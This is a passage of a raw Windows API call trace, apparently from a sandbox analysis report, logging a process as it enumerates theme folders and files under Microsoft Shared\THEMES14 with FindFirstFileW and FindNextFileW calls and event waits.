returned 1 [0268.861] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.915] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.915] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.916] GetProcessHeap () returned 0x550000 [0268.916] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.916] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0268.916] GetProcessHeap () returned 0x550000 [0268.916] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.916] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.917] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.917] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.917] ResetEvent (hEvent=0xe0) returned 1 [0268.917] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.919] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1 [0268.919] ResetEvent (hEvent=0xe0) returned 1 [0268.919] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.921] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0268.921] ResetEvent (hEvent=0xe0) returned 1 [0268.921] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.923] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.923] ResetEvent (hEvent=0xe0) returned 1 [0268.923] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.925] ResetEvent (hEvent=0xe0) returned 1 [0268.925] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.927] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.927] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.928] GetProcessHeap () returned 0x550000 [0268.928] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.928] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0268.928] GetProcessHeap () returned 0x550000 [0268.928] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.928] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.928] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.928] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.928] ResetEvent (hEvent=0xe0) returned 1 [0268.928] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.930] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1 [0268.930] ResetEvent (hEvent=0xe0) returned 1 [0268.930] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.932] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0268.932] ResetEvent (hEvent=0xe0) returned 1 [0268.932] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.934] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.934] ResetEvent (hEvent=0xe0) returned 1 [0268.934] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.938] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.938] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.938] GetProcessHeap () returned 0x550000 [0268.938] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.939] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0268.939] GetProcessHeap () returned 0x550000 [0268.939] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.939] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.939] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.939] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.939] ResetEvent (hEvent=0xe0) returned 1 [0268.939] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.941] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1 [0268.941] ResetEvent (hEvent=0xe0) returned 1 [0268.941] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.943] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0268.943] ResetEvent (hEvent=0xe0) returned 1 [0268.943] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.945] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.945] ResetEvent (hEvent=0xe0) returned 1 [0268.945] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.947] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.947] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.947] GetProcessHeap () returned 0x550000 [0268.947] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.947] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0268.948] GetProcessHeap () returned 0x550000 [0268.948] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.948] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.948] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.948] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.948] ResetEvent (hEvent=0xe0) returned 1 [0268.948] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.950] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1 [0268.950] ResetEvent (hEvent=0xe0) returned 1 [0268.950] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.954] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0268.955] ResetEvent (hEvent=0xe0) returned 1 [0268.955] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.957] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.957] ResetEvent (hEvent=0xe0) returned 1 [0268.957] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.959] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.959] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.959] GetProcessHeap () returned 0x550000 [0268.959] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.959] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0268.959] GetProcessHeap () returned 0x550000 [0268.959] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.959] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.959] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.959] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.960] ResetEvent (hEvent=0xe0) returned 1 [0268.960] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.961] ResetEvent (hEvent=0xe0) returned 1 [0268.962] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.963] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1 [0268.963] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, 